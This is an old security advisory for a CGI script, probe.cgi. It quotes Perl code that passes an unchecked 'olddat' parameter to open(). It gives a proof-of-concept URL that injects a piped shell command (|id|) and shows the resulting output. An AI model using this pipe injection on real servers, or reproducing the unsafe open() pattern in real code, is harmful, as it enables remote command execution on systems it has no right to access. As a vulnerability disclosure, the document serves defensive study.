[badroot security] probe.cgi: Remote Command Execution

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___________________________________________________________

BADROOT SECURITY GROUP
Security Advisory 2005 - #0x06
http://www.badroot.org
irc.us.azzurra.org ~ #badroot
___________________________________________________________

Authors .......  spher3 (spher3 at fatalimpulse dot net) Date 
..........  04-07-2005
Product .......  probe.cgi
Type ..........  Remote Command Execution

o Info:
================
That script is used to open file '.dat'.

o Vulnerable Code:
================
..
23  [...]
24  $old = $query->param('olddat');
25  [...]
..
..
34  [...]
35  open (VF, "$olddat");
36  [...]
..

(24) At this line, the cgi param 'olddat' is associated to one database.
   This variable isn't checked by anyone matching, so you can open
   all file that you want. (35) At this line the script open the file 
that you had chosen. With pipe `|`
   is possible to execute arbitrary code on the shell.

o Proof of concept:
================

http://the-vuln.site.org/cgi-bin/probe.cgi?olddat=|id|
uid=99(www) gid=99(www)

Original ADV: http://www.badroot.org/advisories/SA0x06